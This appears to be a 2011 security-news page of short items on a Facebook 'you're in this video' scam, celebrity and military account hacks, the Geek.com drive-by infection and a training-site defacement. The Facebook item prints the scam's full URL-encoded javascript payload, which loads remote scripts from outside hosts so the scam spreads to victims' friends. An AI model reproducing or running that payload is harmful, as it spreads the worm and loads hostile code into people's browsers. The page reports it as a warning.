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New Facebook Scam : WTF I can’t believe you’re in this video !

New Facebook Scam : WTF I can’t believe you’re in this video !

May 16, 2011
New Facebook Scam : WTF I can’t believe you’re in this video ! If you happen to get a new wall post from your friend saying “ WTF I can’t believe you’re in this vid ” or “ ROFL i cant believe youre tagged in this video ” Its a new scam spreading on Facebook. Don’t open or click on this link else it will be posted to all your friends wall, esp. copy any URL [java-script code] and paste in your browser navigation/location bar to help spread the message to all your friends. javascript:(function()%7Bfunction%20s(src)%7Bvar%20script%20%3D%20document.createElement(%22script%22)%3Bscript.src%20%3D%20src%3Bdocument.body.appendChild(script)%3B%7Dvar%20rand%20%3D%20Math.floor(Math.random()*(100))%3Bs(%22http%3A%2F%2Fvideosurge.info%2Fverify.js%22)%3B%20if(rand%20%3C%3D%2025)%20s(%22http%3A%2F%2Fvideosurge.info%2Fconfig.js%22)%3Belse%20s(%22http%3A%2F%2Fbanfish.info%2Fconfig.js%22)%3B%7D)()%3B Most importantly for the user who fall into such scams by clicking the links in impulse. Re...
Ronaldinho website hacked by Osama bin Laden supporter !

Ronaldinho website hacked by Osama bin Laden supporter !

May 16, 2011
Ronaldinho website hacked by Osama bin Laden supporter ! Ronaldinho's website has been hacked by someone appearing to support Osama bin Laden. GloboEsporte.com reports the hacker posted a photo of bin Laden and statements supporting Islam, as well as comments in Arabic attacking Ronaldinho's "hatred" of Islam. The site was hacked for a few hours on Saturday, according to the GloboEsporte.com website and other local media. Ronaldinho could not be contacted for comment. He signed with Flamengo in the beginning of the year, returning to Brazilian football after 10 years in Europe. He helped Flamengo win the Rio de Janeiro state championship, but fans had been jeering him recently because of poor performances that culminated with the team's elimination from the Brazilian Cup on Wednesday.
ISI (Pakistan) hack email account of Indian Army Major !

ISI (Pakistan) hack email account of Indian Army Major !

May 16, 2011
ISI (Pakistan)  hack email account of Indian Army Major ! A serving Inter-Services Intelligence (ISI) officer Major Sameer Ali hacked an Indian Army major's e-mail account in 2010 and extracted many sensitive documents, intelligence sources said. Ali has been named by India in the list of 50 'most wanted' terrorists sheltered by Pakistan for involvement in the Mumbai attacks conspiracy, The news of the hacking was given to Indian probe agencies by the FBI, which was then interrogating Mumbai attack accused David Coleman Headley. The US agency told the CBI Ali had been accessing an Indian Army officer's rediffmail account from the ISI headquarters. The hacked account was traced to Major Shantanu De of 21 Bihar Regiment, who was at that time posted in the Andamans. De's computer was seized and scrutinised jointly by the Intelligence Bureau, National Investigation Agency and the Military Intelligence. What was baffling was that his computer and e-mail had more t...
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Pentest Like Attackers Actually Do. SEC560 at SANSFIRE 2026

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Geek.com Hacked, Infects Visitors with Malware !

Geek.com Hacked, Infects Visitors with Malware !

May 16, 2011
Geek.com Hacked, Infects Visitors with Malware ! Security researchers from cloud security provider Zscaler warn that technology website geek.com was compromised and many of its pages are executing drive-by download attacks against visitors. Geek.com is one of the oldest technology news websites around, dating back to 1996, the dawn of the commercial World Wide Web. Attackers have managed to inject rogue IFrames into different portions of the site, both within articles and the site's main pages like home, about us, etc. According to Umesh Wanve, a senior security research engineer at Zscaler, there are multiple infections and the iframes take visitors to different malicious websites. One example is the rogue code injected into a May 13 article about Call of Duty: Modern Warfare 3 details being leaked, which redirects visitors to an exploit kit. These kits perform various checks to determine what versions of certain program users have installed on their computers and th...
Appin Hacked - Ethical Hacking Training institute hacked again

Appin Hacked - Ethical Hacking Training institute hacked again

May 16, 2011
Once again Appin tech. hacked,this time TIC GROUP hack their one more site, Have a look : Hacked Domain: http://appinonline.com Mirror :  http://mirror.sec-t.net/defacements/?id=26044
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